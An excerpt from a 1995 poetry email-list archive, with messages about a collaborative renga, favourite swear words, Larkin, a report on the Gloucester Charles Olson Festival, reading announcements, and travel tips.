shrewdballs everybody):
> Hey, Charlie, what the hell were in those books?
> > In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her breasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> > having recovered from the chemicals of deadlines drop stitched

> > into
> > the ball Kevin Mitchell bare
> > handed. Baseball sold
> > out. cash stricken striked.
> > Would that as a poet I had
> > the chance to do something like
> >
> > grace the outfield, hands bare
> > from ringing, washing scales
> > of passion's conformity never
> > minding a green surface, far
> > cry from eternity, kitchen table
> >
> > bleached down, a firecracker
> > cold as the buckles on my sandals
> > as the wesleyans come in the room
> > and hang up their robes and go
> > down to the fellowship hall
> >
> > the garcia posological convention already underway
> > platform sonneteers
> > reminisce those hash oil crisis years
> > when every squib seemed damp & colon slack:
> > get real, ya doofuses, the Blob is back
> >
>

↑ Index

518. Chris Scheil
Re: you're fe/mail?
Tue 15 Aug 1995

On Mon, 14 Aug 1995, maria damon wrote:

> what i wanna know is, is lindz a man or woman? is gwyn a man or woman? are
> cris cheek and chris scheil men and/or women? why do i wanna know? i dunno!--
md
>
Male, all too male. My wife says that excessive testosterone is related
to anabolic karma debt, which explains my irrational love of sauerkraut,

Morton Feldman, & my inexplicable temporary obsessions (appearing this week: Ankoku Buto, Caspar David Friedrich, De Sica films).

Chris

↑ Index

519. Tony Green
Chook
Tue 15 Aug 1995

---

chhoks are chickens. They are in my order of merit: Nicolas Le Poussin and Foghorn Leghorn Chicken Little a distant third

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

520. Marisa A Januzzi
Re: furnished, remember?/no renga
Tue 15 Aug 1995

My stuff's in a bunch of straight-faced boxes and I'm about to mail my cats and drive x-c from NYC to Utah, where I expect to be camped for some time (at the U of U).... So....

1) Can anyone recommend anything poetic to see, besides that damn giant ball of twine? I'll be looping south through West Virginia (so I can see the Blue Ridge Mountains for real, instead of just in the Joan Baez song!) then heading west through St Louis etc. (etc., etc.).

-and- 2) Is anyone from Utah out there? Backchannel anecdotes are totally welcome.

I already reread the Padgett-Berrigan big travel dialogues.

If anyone's going to be passing through Salt Lake City, well, mi spare futon es su chrashpad.

Be back soon under cover of new institutional alias.

(Am I mistaken, or has the rengawave subsided?!)

---Marisa <[redacted]>

↑ Index

521. Tony Green
Re: Rejected posting to [redacted] (fwd)
Tue 15 Aug 1995

---

manners poetiquette styles of address currents of concern bad language language all these I learned lately on the poetics list poetry doesn't propagate convictions as effectively as expedients listed who said it's like a bar (and it's usually happy hour?)

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

522. David Kellogg
Re: Larkin fucks again
Tue 15 Aug 1995

On Sun, 13 Aug 1995, Chris Stroffolino wrote:

> *Dear David kellogg--for one who has a quote from THOMAS KINSELLA (gag) I'm REAL CURIOUS why you'd call Larkin assinine--isn't that kinda like the little fish calling the big fish "poison" (if you're i mean you'll pardon my french"------anne onimous....*

I meant personally asinine. Kinsella, from my limited knowledge of him personally, keeps his animuses in reserve.

If you're referring to the poetry: De gustibus. So Kinsella makes you gag -- IMO, he's the best poet in Ireland. Which only means I like him the most. Poison, hmm -- "the other's poison"? -- if I read you right, you gag not only at Kinsella, but at others' liking him....?

Let's all correct each other's tastes.

Cheers,
David
~~~
~~~

David Kellogg
University Writing Program
Duke University
Durham, NC 27708
[redacted]

The moment is at hand.
Take one another
and eat.

--Thomas Kinsella

↑ Index

523. Gwyn McVay
Re: you're fe/mail?
Tue 15 Aug 1995

Gwyn is a woman whose parents knew they had some Welsh ancestry but had not read _How Green Was My Valley_ so didn't know it was a boy's name, unmitigated by any feathery suffix. It's like being named "Mike." It's kind of funny--at least the people who assume I'm a man spell the name right, as opposed to clerks and secretaries who know I'm a woman and therefore think it must be a typo for "Gwen."

g.

↑ Index

524. Rachel Loden
Larkin fucks again
Tue 15 Aug 1995

Ira Lightman asks:

Why either Larkin or Language Poetry? Why not both?

Ira, I couldn't agree more. I happen to love some of Larkin (so tar and feather me). "Wretched" was meant as a term of endearment--what's a little wretchedness between friends?

Rachel Loden

↑ Index

525. Herb Levy
Seattle readings - Bumbershoot
Tue 15 Aug 1995

Here's a list of readers at the upcoming Bumbershoot, Seattle's annual arts festival. It may not be worth a special trip (It's no BlaserCon), but there are still plenty of some of you folks in the area may want to come check it out.

Bumbershoot is a twenty-five year-old nightmare of a festival, held over Labor Day Weekend (which, I should explain, for the benefit of the many Canadian

folks on this list if for no one else, since they're close enough to consider coming down, is the SAME weekend as Labour Day Weekend). There are rock bands, dance performances, theater, visual art exhibitions, a book fair, food &/or craft booths, etc. all on the site of the 1962 World's Fair. (Admission to the Space Needle is extra.) It's like a very crowded county fair with (some) arty trappings, and little livestock.

Anyway, this year's lierary readings include:

Friday: Sam Hamill, William Pitt Root. Marilyn Stablein, Craig Van Riper, Sharon Doubiago, Ed Sanders, Diane DiPrima.

Saturday: Sara Menafee, Jack Hirschman, Marnie Mueller. Robert Schuster, Joe Reiner, Sibyl James, Alan Chong Lau, Deborah Woodward, Bart Baxter, Rajaa Gharbi, David Scully.

Sunday: Natalie Jacobson, Emily White, Willie Smith, Jim Carroll, Patti Smith.

Monday: Nico Vassilakis, Tom Malone, Robert Mittenthal, Joseph Keppler, Lisa Robertson, Charles Bernstein. Roberto Valenza, Jane Taini, Mixhael Hureaux, Martha Linehan, Marion Kimes. & the readings all you mystery fans have waiting for, Steve Greenleaf, Mary Daheim, J A Jance, Ann Rule.

So if you're planning to come hear all those mystery writers on Monday, why not make a day of it & stop by the afternoon "show" too. You'll be glad you did.

Also, Seattle reading-wise, starting in late September, there'll be an ongoing, monthly series of readings which I'll post more about in another week or so. The name of the series will remain, at least for now, Subtext, so there's some continuity with the series' that some of you know a little about, but there's now a larger group of people involved to keep it going steadily over the year. There'll also be some sort of website with writing by past present & future readers in various Subtext events. Oh boy, huh?

Herb Levy
[redacted]

↑ Index

526. **Herb Levy**
Re: Favorite swears and Seventies-Speak
Tue 15 Aug 1995

> *When George Stanley came back from his stretch in the army, he kept using what I took to be a southern expression" "Well, dog bite my pecker!"*

George -

By "southern expression" I assume you mean from the US.

Herb Levy
[redacted]

↑ Index

527. Mark Roberts
Re: Favorite swears and Seventies-Speak
Tue 15 Aug 1995

> *I dont think anyone swears better than do the Australians. I like it when they call someone (even me) a "pisswit."*

Dear George

You are a pisswit! Feeling better.

Actually that's the first time I've ever used pisswit. I prefer scumbag.

Mark

↑ Index

528. I.LIGHTMAN
Re: you're fe/mail?
Tue 15 Aug 1995

Sorry to use the list in this way, but Chris Schiel I can't get through to your e-mail address! Can you backchannel me about the Rodefer books you want, and if you wanna swap for Carla Harryman's Animal Interests, or Lyn Hejinian's My Life (ie, if you've got these...)

A fellow Morton Feldman fan,

Ira
[redacted]

↑ Index

529. Loss Glazier
Gloucester's Olson
Tue 15 Aug 1995

---------- |
	The Charles Olson Festival	
	Honoring the Life and Work of Charles Olson:		Poet, Teacher, scholar & Community Activist	
	August 12, 1995	
| | Gloucester City Hall, Gloucester, Mass. | |
| ----------

-- A Sketch --

by Loss Pequen~o Glazier

Note: I missed portions of some of these events since I also spent time talking with people and taking photos. If anyone else who attended wants to e-mail me directly any corrections, I'd be grateful. (By the way, it is my intention to create a photographic exhibit on a Web page at the EPC called "Gloucester's Olson" from these photos. Announcement forthcoming...)

---

i.

THIS FESTIVAL, which seemed to me to be under-advertised, certainly had no lack of attendance. The grand meeting room of the Gloucester City Hall was packed--main floor to balcony--despite nearly unbearable heat (and David McArdle pointed out that the heat was not inappropriate: Olson himself had stood in this same room to argue for the preservation of Gloucester on some equally sultry nights). Though many of the attendees had travelled some distance to the conference--getting there however possible--what struck me most about this one was its local presence.

Many of the persons attending were people from the community, many of them older; my thought was that there was at least a 50% attendance by the local community, probably considerably more. Some of these people I spoke to had shown up because they remembered Olson or they had seen the Festival announced in the local paper. One fisherman I spoke to just felt it was a kind of necessary civic act. Another woman came because "my son used to play with Charlie's son." Another man, dressed in work clothes and entering the hall just as Gerrit Lansing was reading from Olson's letters to _The Gloucester Daily Times_ (Ten Pound Island) would say no more, when I asked, than, "It's respects I have to pay."

1.

MODEST IN SCALE BUT GRAND in sentiment, qualities of words, and the vista of Gloucester harbor from the stairway windows of City Hall, the Charles Olson Festival consisted of three events in one day to celebrate Olson's life and work twenty-five years after his death: an afternoon panel discussion, a reception at the library across the street, and a reading of Olson's works the same night.

The panel, consisting of Robert Creeley, Vincent Ferrini, Hettie Jones, Jean Kaiser, Ingeborg Lauterstein, Edward Sanders and ably and enthusiastically

moderated by Peter Anastas, undertook a number of appreciative recollections and questions in the spirit of a homage. The panelists all knew Olson personally, whether as student, friend, or peer. Following an opening welcome by David McArdle, director of the Gloucester library (a place where being "the librarian" resonates more than in most places), questions such as the panelists' impressions upon first meeting Olson, thoughts about his work as a teacher, activist, and political poet were entertained, with Anastas (who cited Olson's advice, "Just live, the writing will take care of itself" as having been crucial to him personally) raising questions and querying panelists one by one.

Creeley, generously offering much thoughtful information, spoke eloquently on many issues. Given his extensive written contact with Olson and the number of Olson's works he has edited, his insights added a specific literary and personal grounding to the event.

One important issue raised by the panel was the context of Olson as an activist. Ed Sanders, given his own very relevant activities in this area, was the first to elaborate on this issue. Creeley addressed the vast imagination of Olson's civic commitment (whether or not this could be considered "political" poetry was not investigated at length by the panel), noting Olson's distinction between "epicene poets--poets who do not enter the society" and the kind of poetic Olson engaged in Gloucester.

Vincent Ferrini, wearing a broad-brimmed hat and dark glasses, provided numerous engaging comments, quirky at times, opinionated, and a poem written for the occasion. He also noted good-naturedly his contention with Olson about "who had Gloucester" for poetry. Hettie Jones was warm, kind, and provided personal and valuable reflections about Olson and his engagement with _Yugen_ (a distinctly supportive little magazine--with Hettie providing a crucial role--for Olson when most valuable to him).

And size, yes, about Olson's size. (The best comment on this point was Ferrini's, who stated quite succinctly, "he lived his body as a poem".)

Ingeborg Lauterstein, a successful novelist who started out as an artist at Black Mountain until she became one of Olson's students, and Jean Kaiser, the sister of Olson's late wife, Betty, both provided important details and recollections about Olson. Ed Sanders, who seemed hesitant at times about such a panel format, never lacked in eloquence or opinion when prompted. Somewhat thorny, though bypassed for the most part, was Olson's relation to women. Of course the context was personal here in large part, and in this regard, women on the panel spoke from their own interactions with Olson. The point probably was not any resolution but some tangible public fact. (It was similar when the issue of Olson's "readability" came up, especially given the local character of

his work. It was a question I had also asked of some Gloucester residents. Those that had tried had not had much success.)

What counted, in terms of the festival, were the contributions that Olson made. Though many of the ecologically important locations Olson argued for have now been paved over or filled in and covered with condos, his efforts were specific; he intensively argued issues crucial to Gloucester. Gloucester was his polis and he lived his commitment to it, both in writing and in action. The panel served to commemorate a remarkable contribution to this commitment. In Ed Sander's words, "He was imperfect but he was generous". It's safe to say, I think, that almost everyone there, panelists and audience (local and visiting), were motivated by that sense of generosity as detailed in the panel.

The question period was an event in itself and consisted of a number of unanticipated spontaneous individual testimonials about other personal (and life-changing) encounters with Olson.

The panel was followed by a reception at the library and included some film footage of Olson and greetings from the city by the Mayor, Bruce H. Tobey. (This was an event I was unable to attend.)

2.

THE HEAT ONLY SEEMED TO INTENSIFY BY EVENING but the main floor and balcony of City Hall were full again. The evening event, introduced by Schuyler Hoffman, was a reading of works by and about Olson, delivered by Gerrit Lansing, Hettie Jones, Robert Creeley, and Edward Sanders. Lansing read from Olson's letters to the _Gloucester Daily Times_, reflecting on Olson's method of working: that he might start writing a letter and it would turn into a poem, and end up an essay (or something to that effect). Indeed, the letters read by Lansing were so intensely poetic at times, they must be considered part of Olson's poetic oeuvre. Hettie Jones read sections from her memoirs reflecting on Olson's visit to her (and the then LeRoi Jones) and their household in New York. Her warm and deeply personal account of the visit included interesting observations about her production labors in trying to prepare Olson's manuscripts for _Yugen_.

Creeley read some of Olson's work he had selected for Olson's _Selected Poems_ (California) with great acumen and feeling. With both Lansing and Creeley's readings, what was most emphasized were the words themselves, Olson's words, and in those cases there was a particular pleasure in hearing them in the venue of the Gloucester City Hall.

Ed Sanders concluded the evening with his own compositions, poems by Olson set to music by Sanders. Plucking a stringed instrument, the arrangement

alternated between sections of sung text, reminiscent to me of Ginsberg doing Blake (and in fact I believe it was Sanders who made a point of placing Olson's work on a scale with Blake's) and brief interludes or bridges of spoken words. This careful interpretation provided an apt and festive conclusion to what was perhaps the most articulate segment of the Festival, the word itself. A word still there.

3.

BACK OUTSIDE IN THE NIGHT, a few parting words, then groups of attendees began to disperse. Mostly to cars or just in directions that seemed natural for them. This was my first visit to Gloucester and as such continually offered a new sight around every literal corner. In fact, I had never even been to New England before. The event seemed unusual compared to a lot of literary events because of its strength of location and the people who lived there. And of course, for them, once it was over, they went home. Gloucester was home. For me, any direction would do--but I walked towards the harbor.

↑ Index

530. **Tom Taylor**
Re: Shedding the Lurker Skin
Tue 15 Aug 1995

maybe it was always apocalypse; my own 1988 was fairly as bad as the others, years, that is, though my sense of its continuing may be an extension of my own psychotic episode which began somewhere around birth. But we do have postapocalyptic visions, say, in those moments between sentences, or when the toast is burnt, or when others tell us about theirs. all best

↑ Index

531. **Hank Lazer**
Re: West Coast Line
Tue 15 Aug 1995

George Bowering:

Address, cost for current issue of West Coast Line? I'd like to get a copy. Am especially interested in the bpNichol material (having read all of the Martyrology this summer).

Hank Lazer

↑ Index

532. Jordan Davis.
Gorton's Gloucester (supplement to Loss)
Tue 15 Aug 1995

Re part two, the library:

Wild blueberries from Dogtown in a bowl by the defunct card catalogs.

Shrimp cocktail (gone after seven minutes) behind a cooler of coke and pepsi. Finger sandwiches of tuna and crab.

No one seemed to know exactly where the film was. The conversation seemed local, convivial.

Saintsbury's history of English Prosody can be requested by interlibrary loan from Danvers.

Lynn Swigart's photographs of Gloucester scenes were propped around.

(Important to remember how dominated by Gorton's Gloucester is. A contingent of JHS students were washing cars for free in the drive in front.)

Re part one, the panel in the lyceum: Robert Creeley would throw his hands and smile, his mouth open. He was totally cogent. Ed Sanders stared down as he answered. He remarked that he had a sort of "caper" relationship with Olson. Jean Kaiser was typed as the tough who talked back to Olson; the librarian at Buffalo who refused Fuck You a Magazine of the Arts space on the shelves was also called the one person who stood up to Olson. Vincent Ferrini's poem about Olson met warm applause. Hettie Jones and Ingeborg Lauterstein characterized Olson as extremely supportive. Peter Anastos smiled energetically and kept the panel moving.

↑ Index

533. Charles Watts
Re: Gloucester's Olson
Tue 15 Aug 1995

Thanks, Loss. I'd like to have been there.

Were the panels or readings recorded? if so, who would be the person to ask about getting a copy of the recordings?

Charles Watts

↑ Index

534. **Curt Anderson**
Re: Favorite swears, almost
Tue 15 Aug 1995

Regarding favorite movie lines, mine comes from the great Peter O'Toole movie, The Ruling Class, in which O'Toole plays an insane Earl who thinks he's Jesus Christ. When his relatives ask him why he thinks he's God, the O'Toole character replies: Because when I pray I seem to be talking to myself.

↑ Index

535. **Maria Damon**
Re: Favorite swears, almost
Tue 15 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> Regarding favorite movie lines, mine comes from the great Peter O'Toole
> movie, The Ruling Class, in which O'Toole plays an insane Earl who thinks
> he's Jesus Christ. When his relatives ask him why he thinks he's God, the
> O'Toole character replies: Because when I pray I seem to be talking to
> myself.

aha, so that's the name of that wonderful movie i saw so many years ago, where peter o'toole turns from jesus christ into jack the ripper. one of my favorite words, "insinuendo," comes from that movie. thanks for the hot tip. speaking of local slangs, someone (brian?) mentioned calling someone a "gary." in ithaca new york in the late 60s it was a "gomer." i think the derivation of that is obvious. in mass. we used to call the liquor store the "package store," or the "packy" for short.--md

↑ Index

536. **Ryan Knighton**
Re: Favorite swears, almost
Tue 15 Aug 1995

Since I have a lot of smart people on line, can anyone tell me the etymology of "nerd" and "bronco"? No reason. I would just like to sleep at night.

↑ Index

537. **Aldon L. Nielsen**
Re: Lurkin'
Tue 15 Aug 1995

---

don't have my books here beside me -- but as I recall, Larkin _was_ one of those people who talked snobby about popular music (couldn't seem to listen much past the stage favored by what the British jazz fans called "moldy figs") --

↑ Index

538. **Aldon L. Nielsen**
Re: faux mail
Tue 15 Aug 1995

Maria -- Yes, Chris is a man or a woman.

any news for us on the progress of Kaufman collecteds???

↑ Index

539. **maria damon**
Re: faux kauf
Tue 15 Aug 1995

In message <[redacted]> UB Poetics
discussion group writes:
> Maria -- Yes, Chris is a man or a woman.
>
> any news for us on the progress of Kaufman collecteds???

hey aldon. i've not heard much from coffeehouse press since i stepped down from the board, but lasaat i heard it wuz to be out in feb 96, but not the collected, just selected, including a reprint of golden sardine and a handful of previously uncollecteds, plus a sampling from solitudes and ancient rain...david henderson and i both wrote essays for the book, but only his is advertized in the latest chp catalogue, not quite sure what that means...--md (ps dig yr postpuns)

↑ Index

540. **David Beaudoin**
Re: Gloucester's Olson
Tue 15 Aug 1995

Loss--

Thanks for the generous and detailed account--speaking of under-advertised, wisht I had known.

/d

~.
David Beaudouin in [redacted]
Baltimore, Maryland [redacted]
hon! vox/fax: [redacted]
~.

↑ Index

541. Louis Cabri

favourite care word: "you"

Wed 16 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
    (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
    kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
    warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry
    cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be

of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation

↑ Index

542. **maria damon**

Re: favourite care word: "you"

Wed 16 Aug 1995

In message <[redacted]> UB Poetics discussion
group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the dry
> cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose encore

> Flaubert because we're waiting all throughout eternity for moments to be
> of such suchness. In the nooks were creams and in the streams were hooks.
> All melded like striated film leftover in the pastel seeds of darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft fruit
> of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback

↑ Index

543. Jordan Davis.

Re: favourite care word: "you"

Wed 16 Aug 1995

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
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> Over coffee topped with whipped cream, the Times blowing
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> bleached ribcage ripcorded into compassed wind
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> cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose encore

> Flaubert because we're waiting all throughout eternity for moments to be
> of such suchness. In the nooks were creams and in the streams were hooks.
> All melded like striated film leftover in the pastel seeds of darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft fruit
> of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding

↑ Index

544. Steve Carll

Re: you're fe/mail?

Wed 16 Aug 1995

Lindz wrote:

> *It's kinda cool not knowing what someone is gender wise. But I always assumed that I pretty well betrayed myself by my responses and my language as being young and female.*

Nope--not to me anyway. I thought you were an older male. (I hope this neither offends nor excessively surprises you.) This is what I meant not too long ago when I foolishly posted that "language seems to engender *itself*" or some such. What I meant was we read gender differently into a body of written or electronic text than we do into the human or animal body, but generally with the assumption that there's no difference between the gender we're reading into the text and the gender of the author of that text (that is, until Maria or someone starts to question this assumption and gets up the gumption to ask--thanks, Maria!) Makes for some interesting social situations. Try figuring out whether the narrator of Carla Harryman's "In The Mode Of" is male or female.

Steve

↑ Index

545. Steve Carll

Too late to the renga

Wed 16 Aug 1995

>I get embarrassed whenever I try to change anyone's opinion.
I've come around to your way of thinking.

↑ Index

546. **George Bowering**
Re: Favorite swears, almost
Wed 16 Aug 1995

In my daughter's highschool about 7 years ago they called them not Gary or Gomer, but Ned.

↑ Index

547. **George Bowering**
Re: Chooks
Wed 16 Aug 1995

I think that my favourite chickens are those created by Daniel Pinkwater, especially the one under the guy's hat in *Lizard Music* and the giant one in *The Hoboken Chicken Emergency*.

↑ Index

548. **George Bowering**
Re: Favorite swears and Seventies-Speak
Wed 16 Aug 1995

No no, by "southern" I mean John Faulkner or Tobacco Road.

↑ Index

549. **George Bowering**
Re: West Coast Line
Wed 16 Aug 1995

Several people have been asking me about the address and cost and back issues of West Coast Line, and I have been backchannelling them. Hoiw abt if I put the info on here?

Dont be put off by the academic address.

West Coast Line,
2027 East Academic Annex,
Simon Fraser University,
Burnaby, B.C., V5A 1S6,
Canada.

Subscription (3 issues) is $20. Usually 150-250 pages. Lots of good back issues available, probably special rates.

The next issue, in about 3 months, will be the special Brit issue, edited by Peter Quartermain. Whew!

↑ Index

550. **Jordan Davis.**
Re: Favorite swears and Seventies-Speak
Wed 16 Aug 1995

I think you mean Erskine Atwood

↑ Index

551. **George Bowering**
Re: Renga 11: Invasion from Mars
Wed 16 Aug 1995

I had a dream
& in the dream were books
& in the books were renga
& in the renga were advertisements
for Coke Classic.

↑ Index

552. **Lindz Williamson**
Re: Renga 11: Invasion from Mars
Wed 16 Aug 1995

On Tue, 15 Aug 1995, George Bowering wrote:

> *I had a dream*
> *& in the dream were books*
> *& in the books were renga*
> *& in the renga were advertisements*
> *for Coke Classic.*

George you're my hero, LIndz

↑ Index

553. **George Bowering**
Re: Favorite swears and Seventies-Speak
Wed 16 Aug 1995

No no, Erskin Atwood pitched for the Dodgers several decades back.

↑ Index

554. **Alan Sondheim**
Re: Renga 11: Invasion from Mars
Wed 16 Aug 1995

I creamed. I came in nooks, in long songs.
I was heard, my birds were rooks.
I screamed. There were other looks
About to tear away the thongs.
Others longed to couple cords with books.
Others' supple hooks sucked rites from wrong.
I beamed, grew long.

↑ Index

555. **W. Northcutt**
Re: Hambone
Wed 16 Aug 1995

Could someone please send me Hambone's address?

Thanks, William

[redacted]

↑ Index

556. **Charles Alexander**
Re: furnished, remember?/no renga
Wed 16 Aug 1995

Congratulations on going to Utah. Having moved away from Arizona two years ago, I still miss the western skies & landscapes terribly. You're coming from the other direction, so you probably think I'm a flake when I say that this Minnesota place is truly farther east than I ever wanted to live (although I do like visiting those eastern urban places).

If you go through Ohio, stop at Mound City, near Chilicothe, one of the most interesting Native American mound sites I've seen.

If in southeastern Kansas, the Flint Hills are like some beautiful barren Martian landscape which I love to drive through. I don't know if there's much place to stop and walk or hike, but there probably is such a place there.

Jeff Moran may still be at Lindsborg College (or university?) in Lindsborb, Kansas, either just north or just south of Wichita (I forget). He was teaching bookmaking there, and has his own books which are marvelous inventions of words & materials. I don't have an address, but I knew Jeff (barely, but admired his books greatly) when I was learning bookmaking in Madison, Wisconsin, and

I am great friends with Penny McElroy, who preceded Jeff in teaching books at Lindsborg, but she's now at Univ. of Redlands in California.

Lots of Colorado is beautiful, of course, but in a more majestic, picture-postcard way. Although Mesa Verde down in 4 Corners land is poetic & amazing. Almost everything in New Mexico is worth seeing, but that's probably too far south for you.

Go through the smaller towns all the way if you can. You'll find more strange and marvelous things. My recent favorite was a small town in northern Oklahoma which had a house with literally hundreds of painted signs in front & on top & on the side, all about the coming acopalypse & other subjects.

Utah may be the strangest state in the west, depending on your religious sensibility. I thought Salt Lake City was the cleanest city I'd ever seen, in an eerie way. We camped once at Beaver Creek, in the Wasatch Mountains, not too far east of Salt Lake, & perhaps just a little south. Down the road from Beaver Creek (perhaps a national park site, or national forest site) campsite was Beaver Creek Nudist Colony, which I thought was pretty interesting to find in Utah -- we didn't go there, though.

Good luck & I hope I make it to Utah. We're currently considering moving back to Tucson, Arizona.

all best,
charles

charles alexander [==========^^==========]
[<>]
chax press [maybe a <> pages]
[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

557. Charles Alexander

Re: furnished, remember?/no renga

Wed 16 Aug 1995

Oops, I hit reply by mistake & sent a message intended for Marisa to all poetics list. My apologies & embarassments.

charles

charles alexander [==========^^==========]
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chax press [maybe a <> pages]
[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

558. **Fred E. Maus**

Re: furnished, remember?/no renga

Wed 16 Aug 1995

Wrote Charles Alexander:
>
> Oops, I hit reply by mistake & sent a message intended for Marisa to all
> poetics list. My apologies & embarassments.
>
Don't apologize. It was fascinating.

Better than many things that come to my mailbox, for sure.

↑ Index

559. **maria damon**

Re: Too late to the renga

Wed 16 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >I get embarrassed whenever I try to change anyone's opinion.
> I've come around to your way of thinking.
I've grown accustomed to your

↑ Index

560. **maria damon**

Re: Favorite swears and Seventies-Speak

Wed 16 Aug 1995

---

george b writes:
> No no, by "southern" I mean John Faulkner or Tobacco Road.

who's john faulkner?--md

↑ Index

561. **maria damon**
Re: Renga 11: Invasion from Mars
Wed 16 Aug 1995

---

sondheim writes:
> I creamed. I came in nooks, in long songs.
> I was heard, my birds were rooks.
> I screamed. There were other looks
> About to tear away the thongs.
> Others longed to couple cords with books.
> Others' supple hooks sucked rites from wrong.
> I beamed, grew long.

bravo

↑ Index

562. **Mark Roberts**
AWOL: THE FAMOUS REPORTER
Wed 16 Aug 1995

THE FAMOUS REPORTER

'Famous Reporter' is a biannual literary magazine which publishes short stories, poems, haiku, articles, interviews, reviews and news about writing events. Issue 12 is due for publication in December '95. New for issue 12 are one hundred word essays taking as their departure point a personal response to the opening line ("What am I worth?") of R.A. Simpson's poem 'find the saviour. The 'essays' may be in the form of prose or poetry, and need bear no relation to Simpson's poem apart from an individual response to the opening line. Contributions for publication will be selected by Victorian writer Lorraine Marwood.

Subscriptions to 'Famous Reporter' cost $12 (within Australia) for two issues, from Walleah Press, PO Box 368, North Hobart, Tasmania 7002, Australia (overseas rates on application). The June '95 issue (# 11) features interviews with Sam Watson, Annie Warburton, articles essays and reviews by Bruce Roberts, Paul Bailey, Tim Thorne, David Owen, Elizabeth Dean, Henry Reynolds, Sherryl Clark and poetry, haiku and prose.

E-mail enquiries: [redacted]

↑ Index

563. Ryan Knighton
Re: Renga 11: Invasion from Mars
Wed 16 Aug 1995

George and anyone available:

I had a dream
a song to sing
to help me through
most anything
if you see the wonder
in the fairy-tale...

--Abba

↑ Index

564. Sheila E. Murphy
Re: favourite care word: "you"
Wed 16 Aug 1995

>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
